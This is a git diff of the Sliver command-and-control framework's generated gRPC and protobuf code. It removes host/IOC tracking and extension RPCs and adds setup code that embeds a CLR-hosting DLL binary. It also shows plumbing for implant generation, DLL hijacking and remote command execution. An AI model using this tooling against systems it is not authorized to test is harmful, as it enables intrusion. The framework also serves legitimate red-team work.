// [ Hosts ] ----------------------------------------
|
||||
message IOC {
|
||||
string Path = 1;
|
||||
string FileHash = 2;
|
||||
string ID = 3;
|
||||
}
|
||||
|
||||
message ExtensionData {
|
||||
string Output = 1;
|
||||
}
|
||||
|
||||
message Host {
|
||||
string Hostname = 1;
|
||||
string HostUUID = 2;
|
||||
string OSVersion = 3;
|
||||
|
||||
repeated IOC IOCs = 4;
|
||||
map<string, ExtensionData> ExtensionData = 5;
|
||||
}
|
||||
|
||||
message AllHosts {
|
||||
repeated Host Hosts = 1;
|
||||
}
|
||||
|
||||
// [ Dll Hijack ] ----------------------------------------
|
||||
message DllHijackReq {
|
||||
string ReferenceDLLPath = 1;
|
||||
string TargetLocation = 2;
|
||||
bytes ReferenceDLL = 3;
|
||||
bytes TargetDLL = 4;
|
||||
string ProfileName = 5;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message DllHijack {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
+592
-639
File diff suppressed because it is too large.
Load diff
@@ -47,12 +47,6 @@ service SliverRPC {
|
||||
rpc LootAll(commonpb.Empty) returns(clientpb.AllLoot);
|
||||
rpc LootAllOf(clientpb.Loot) returns(clientpb.AllLoot);
|
||||
|
||||
// *** Hosts ***
|
||||
rpc Hosts(commonpb.Empty) returns(clientpb.AllHosts);
|
||||
rpc Host(clientpb.Host) returns(clientpb.Host);
|
||||
rpc HostRm(clientpb.Host) returns(commonpb.Empty);
|
||||
rpc HostIOCRm(clientpb.IOC) returns(commonpb.Empty);
|
||||
|
||||
// *** Implants ***
|
||||
rpc Generate(clientpb.GenerateReq) returns (clientpb.Generate);
|
||||
rpc Regenerate(clientpb.RegenerateReq) returns (clientpb.Generate);
|
||||
@@ -123,10 +117,6 @@ service SliverRPC {
|
||||
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
|
||||
rpc HijackDLL(clientpb.DllHijackReq) returns (clientpb.DllHijack);
|
||||
rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
|
||||
// Extensions
|
||||
rpc RegisterExtension(sliverpb.RegisterExtensionReq) returns (sliverpb.RegisterExtension);
|
||||
rpc CallExtension(sliverpb.CallExtensionReq) returns (sliverpb.CallExtension);
|
||||
rpc ListExtensions(sliverpb.ListExtensionsReq) returns (sliverpb.ListExtensions);
|
||||
|
||||
// *** Wireguard Specific ***
|
||||
rpc WGStartPortForward(sliverpb.WGPortForwardStartReq) returns (sliverpb.WGPortForward);
|
||||
|
||||
@@ -51,11 +51,6 @@ type SliverRPCClient interface {
|
||||
LootContent(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.Loot, error)
|
||||
LootAll(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllLoot, error)
|
||||
LootAllOf(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.AllLoot, error)
|
||||
// *** Hosts ***
|
||||
Hosts(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllHosts, error)
|
||||
Host(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*clientpb.Host, error)
|
||||
HostRm(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
// *** Implants ***
|
||||
Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
|
||||
Regenerate(ctx context.Context, in *clientpb.RegenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
|
||||
@@ -124,10 +119,6 @@ type SliverRPCClient interface {
|
||||
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
|
||||
HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error)
|
||||
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
|
||||
// Extensions
|
||||
RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error)
|
||||
CallExtension(ctx context.Context, in *sliverpb.CallExtensionReq, opts ...grpc.CallOption) (*sliverpb.CallExtension, error)
|
||||
ListExtensions(ctx context.Context, in *sliverpb.ListExtensionsReq, opts ...grpc.CallOption) (*sliverpb.ListExtensions, error)
|
||||
// *** Wireguard Specific ***
|
||||
WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
|
||||
WGStopPortForward(ctx context.Context, in *sliverpb.WGPortForwardStopReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
|
||||
@@ -352,42 +343,6 @@ func (c *sliverRPCClient) LootAllOf(ctx context.Context, in *clientpb.Loot, opts
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Hosts(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllHosts, error) {
|
||||
out := new(clientpb.AllHosts)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Hosts", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Host(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*clientpb.Host, error) {
|
||||
out := new(clientpb.Host)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Host", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) HostRm(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*commonpb.Empty, error) {
|
||||
out := new(commonpb.Empty)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HostRm", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error) {
|
||||
out := new(commonpb.Empty)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HostIOCRm", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error) {
|
||||
out := new(clientpb.Generate)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Generate", in, out, opts...)
|
||||
@@ -973,33 +928,6 @@ func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
out := new(sliverpb.RegisterExtension)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegisterExtension", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) CallExtension(ctx context.Context, in *sliverpb.CallExtensionReq, opts ...grpc.CallOption) (*sliverpb.CallExtension, error) {
|
||||
out := new(sliverpb.CallExtension)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CallExtension", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) ListExtensions(ctx context.Context, in *sliverpb.ListExtensionsReq, opts ...grpc.CallOption) (*sliverpb.ListExtensions, error) {
|
||||
out := new(sliverpb.ListExtensions)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ListExtensions", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error) {
|
||||
out := new(sliverpb.WGPortForward)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStartPortForward", in, out, opts...)
|
||||
@@ -1187,11 +1115,6 @@ type SliverRPCServer interface {
|
||||
LootContent(context.Context, *clientpb.Loot) (*clientpb.Loot, error)
|
||||
LootAll(context.Context, *commonpb.Empty) (*clientpb.AllLoot, error)
|
||||
LootAllOf(context.Context, *clientpb.Loot) (*clientpb.AllLoot, error)
|
||||
// *** Hosts ***
|
||||
Hosts(context.Context, *commonpb.Empty) (*clientpb.AllHosts, error)
|
||||
Host(context.Context, *clientpb.Host) (*clientpb.Host, error)
|
||||
HostRm(context.Context, *clientpb.Host) (*commonpb.Empty, error)
|
||||
HostIOCRm(context.Context, *clientpb.IOC) (*commonpb.Empty, error)
|
||||
// *** Implants ***
|
||||
Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error)
|
||||
Regenerate(context.Context, *clientpb.RegenerateReq) (*clientpb.Generate, error)
|
||||
@@ -1260,10 +1183,6 @@ type SliverRPCServer interface {
|
||||
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
|
||||
HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error)
|
||||
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
|
||||
// Extensions
|
||||
RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error)
|
||||
CallExtension(context.Context, *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error)
|
||||
ListExtensions(context.Context, *sliverpb.ListExtensionsReq) (*sliverpb.ListExtensions, error)
|
||||
// *** Wireguard Specific ***
|
||||
WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error)
|
||||
WGStopPortForward(context.Context, *sliverpb.WGPortForwardStopReq) (*sliverpb.WGPortForward, error)
|
||||
@@ -1353,18 +1272,6 @@ func (UnimplementedSliverRPCServer) LootAll(context.Context, *commonpb.Empty) (*
|
||||
func (UnimplementedSliverRPCServer) LootAllOf(context.Context, *clientpb.Loot) (*clientpb.AllLoot, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method LootAllOf not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Hosts(context.Context, *commonpb.Empty) (*clientpb.AllHosts, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Hosts not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Host(context.Context, *clientpb.Host) (*clientpb.Host, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Host not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) HostRm(context.Context, *clientpb.Host) (*commonpb.Empty, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method HostRm not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) HostIOCRm(context.Context, *clientpb.IOC) (*commonpb.Empty, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method HostIOCRm not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Generate not implemented")
|
||||
}
|
||||
@@ -1560,15 +1467,6 @@ func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *clientpb.DllHija
|
||||
func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GetPrivs not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method RegisterExtension not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) CallExtension(context.Context, *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method CallExtension not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) ListExtensions(context.Context, *sliverpb.ListExtensionsReq) (*sliverpb.ListExtensions, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method ListExtensions not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method WGStartPortForward not implemented")
|
||||
}
|
||||
@@ -2014,78 +1912,6 @@ func _SliverRPC_LootAllOf_Handler(srv interface{}, ctx context.Context, dec func
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Hosts_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(commonpb.Empty)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Hosts(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Hosts",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Hosts(ctx, req.(*commonpb.Empty))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Host_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.Host)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Host(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Host",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Host(ctx, req.(*clientpb.Host))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_HostRm_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.Host)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).HostRm(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/HostRm",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).HostRm(ctx, req.(*clientpb.Host))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_HostIOCRm_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.IOC)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).HostIOCRm(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/HostIOCRm",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).HostIOCRm(ctx, req.(*clientpb.IOC))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Generate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.GenerateReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -3256,60 +3082,6 @@ func _SliverRPC_GetPrivs_Handler(srv interface{}, ctx context.Context, dec func(
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_RegisterExtension_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.RegisterExtensionReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).RegisterExtension(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/RegisterExtension",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).RegisterExtension(ctx, req.(*sliverpb.RegisterExtensionReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_CallExtension_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.CallExtensionReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).CallExtension(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/CallExtension",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).CallExtension(ctx, req.(*sliverpb.CallExtensionReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_ListExtensions_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ListExtensionsReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).ListExtensions(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/ListExtensions",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).ListExtensions(ctx, req.(*sliverpb.ListExtensionsReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_WGStartPortForward_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.WGPortForwardStartReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -3632,22 +3404,6 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "LootAllOf",
|
||||
Handler: _SliverRPC_LootAllOf_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Hosts",
|
||||
Handler: _SliverRPC_Hosts_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Host",
|
||||
Handler: _SliverRPC_Host_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "HostRm",
|
||||
Handler: _SliverRPC_HostRm_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "HostIOCRm",
|
||||
Handler: _SliverRPC_HostIOCRm_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Generate",
|
||||
Handler: _SliverRPC_Generate_Handler,
|
||||
@@ -3908,18 +3664,6 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "GetPrivs",
|
||||
Handler: _SliverRPC_GetPrivs_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "RegisterExtension",
|
||||
Handler: _SliverRPC_RegisterExtension_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "CallExtension",
|
||||
Handler: _SliverRPC_CallExtension_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "ListExtensions",
|
||||
Handler: _SliverRPC_ListExtensions_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "WGStartPortForward",
|
||||
Handler: _SliverRPC_WGStartPortForward_Handler,
|
||||
|
||||
@@ -251,14 +251,6 @@ const (
|
||||
|
||||
// MsgRegistryListValuesReq - List registry values
|
||||
MsgRegistryListValuesReq
|
||||
// MsgRegisterExtensionReq - Register a new extension
|
||||
MsgRegisterExtensionReq
|
||||
|
||||
// MsgCallExtensionReq - Run an extension command
|
||||
MsgCallExtensionReq
|
||||
|
||||
// MsgListExtensionsReq - List loaded extensions
|
||||
MsgListExtensionsReq
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -488,15 +480,6 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
return MsgRegistrySubKeysListReq
|
||||
case *RegistryListValuesReq:
|
||||
return MsgRegistryListValuesReq
|
||||
|
||||
case *RegisterExtensionReq:
|
||||
return MsgRegisterExtensionReq
|
||||
|
||||
case *CallExtensionReq:
|
||||
return MsgCallExtensionReq
|
||||
|
||||
case *ListExtensionsReq:
|
||||
return MsgListExtensionsReq
|
||||
}
|
||||
|
||||
return uint32(0)
|
||||
|
||||
+399
-970
File diff suppressed because it is too large.
Load diff
@@ -47,7 +47,6 @@ message Register {
|
||||
uint32 ReconnectInterval = 13;
|
||||
string ProxyURL = 14;
|
||||
uint32 PollInterval = 15;
|
||||
string ConfigID = 16;
|
||||
}
|
||||
|
||||
// Ping - Not ICMP, just sends a rount trip message to an implant to
|
||||
@@ -195,7 +194,6 @@ message UploadReq {
|
||||
string Path = 1;
|
||||
string Encoder = 2;
|
||||
bytes Data = 3;
|
||||
bool IsIOC = 4;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -332,8 +330,6 @@ message ExecuteReq {
|
||||
string Path = 1;
|
||||
repeated string Args = 2;
|
||||
bool Output = 3;
|
||||
string Stdout = 4;
|
||||
string Stderr = 5;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -342,17 +338,13 @@ message ExecuteTokenReq {
|
||||
string Path = 1;
|
||||
repeated string Args = 2;
|
||||
bool Output = 3;
|
||||
string Stdout = 4;
|
||||
string Stderr = 5;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message Execute {
|
||||
uint32 Status = 1;
|
||||
string Stdout = 2;
|
||||
string Stderr = 3;
|
||||
uint32 Pid = 4;
|
||||
string Result = 1;
|
||||
uint32 Status = 2;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
@@ -827,46 +819,5 @@ message GetPrivs {
|
||||
string ProcessIntegrity = 2;
|
||||
string ProcessName = 3;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
// Extensions
|
||||
|
||||
message RegisterExtensionReq {
|
||||
string Name = 1;
|
||||
bytes Data = 2;
|
||||
string OS = 3;
|
||||
string Init = 4;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message RegisterExtension {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message CallExtensionReq {
|
||||
string Name = 1;
|
||||
bool ServerStore = 2;
|
||||
bytes Args = 3;
|
||||
string Export = 4;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message CallExtension {
|
||||
bytes Output = 1;
|
||||
bool ServerStore = 2;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message ListExtensionsReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message ListExtensions {
|
||||
repeated string Names = 1;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
+25
-1
@@ -42,7 +42,8 @@ import (
|
||||
|
||||
const (
|
||||
// GoDirName - The directory to store the go compiler/toolchain files in
|
||||
GoDirName = "go"
|
||||
GoDirName = "go"
|
||||
dllDirName = "dll"
|
||||
|
||||
goPathDirName = "gopath"
|
||||
versionFileName = "version"
|
||||
@@ -75,6 +76,12 @@ func GetRootAppDir() string {
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetDllDir - Returns the full path to the data directory
|
||||
func GetDllDir() string {
|
||||
dir := path.Join(GetRootAppDir(), dllDirName)
|
||||
return dir
|
||||
}
|
||||
|
||||
func assetVersion() string {
|
||||
appDir := GetRootAppDir()
|
||||
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
|
||||
@@ -103,6 +110,7 @@ func Setup(force bool, echo bool) {
|
||||
}
|
||||
setupGo(appDir)
|
||||
setupCodenames(appDir)
|
||||
setupDllPath(appDir)
|
||||
saveAssetVersion(appDir)
|
||||
}
|
||||
}
|
||||
@@ -255,6 +263,22 @@ func SetupGoPath(goPathSrc string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// setupDllPath - Sets the data directory up
|
||||
func setupDllPath(appDir string) error {
|
||||
dataDir := GetDllDir()
|
||||
if _, err := os.Stat(dataDir); os.IsNotExist(err) {
|
||||
setupLog.Infof("Creating data directory: %s", dataDir)
|
||||
os.MkdirAll(dataDir, 0700)
|
||||
}
|
||||
hostingDll, err := assetsFs.ReadFile(path.Join("fs", "dll", "HostingCLRx64.dll"))
|
||||
if err != nil {
|
||||
setupLog.Info("failed to find the dll")
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(path.Join(dataDir, "HostingCLRx64.dll"), hostingDll, 0600)
|
||||
return err
|
||||
}
|
||||
|
||||
func unzipGoDependency(fsPath string, targetPath string) error {
|
||||
setupLog.Infof("Unpacking go dependency %s -> %s", fsPath, targetPath)
|
||||
|
||||
|
||||
@@ -5,6 +5,6 @@ package assets
|
||||
import "embed"
|
||||
|
||||
var (
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/amd64/*
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/darwin/amd64/*
|
||||
assetsFs embed.FS
|
||||
)
|
||||
@@ -5,6 +5,6 @@ package assets
|
||||
import "embed"
|
||||
|
||||
var (
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/arm64/*
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/darwin/arm64/*
|
||||
assetsFs embed.FS
|
||||
)
|
||||
@@ -5,6 +5,6 @@ package assets
|
||||
import "embed"
|
||||
|
||||
var (
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/amd64/*
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/linux/amd64/*
|
||||
assetsFs embed.FS
|
||||
)
|
||||
@@ -5,6 +5,6 @@ package assets
|
||||
import "embed"
|
||||
|
||||
var (
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/windows/amd64/*
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/windows/amd64/*
|
||||
assetsFs embed.FS
|
||||
)
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,29 @@
|
||||
BSD 3-Clause License
|
||||
|
||||
Copyright (c) 2018, b4rtik
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
3. Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
@@ -1,8 +1,8 @@
|
||||
package hosts
|
||||
package c2
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
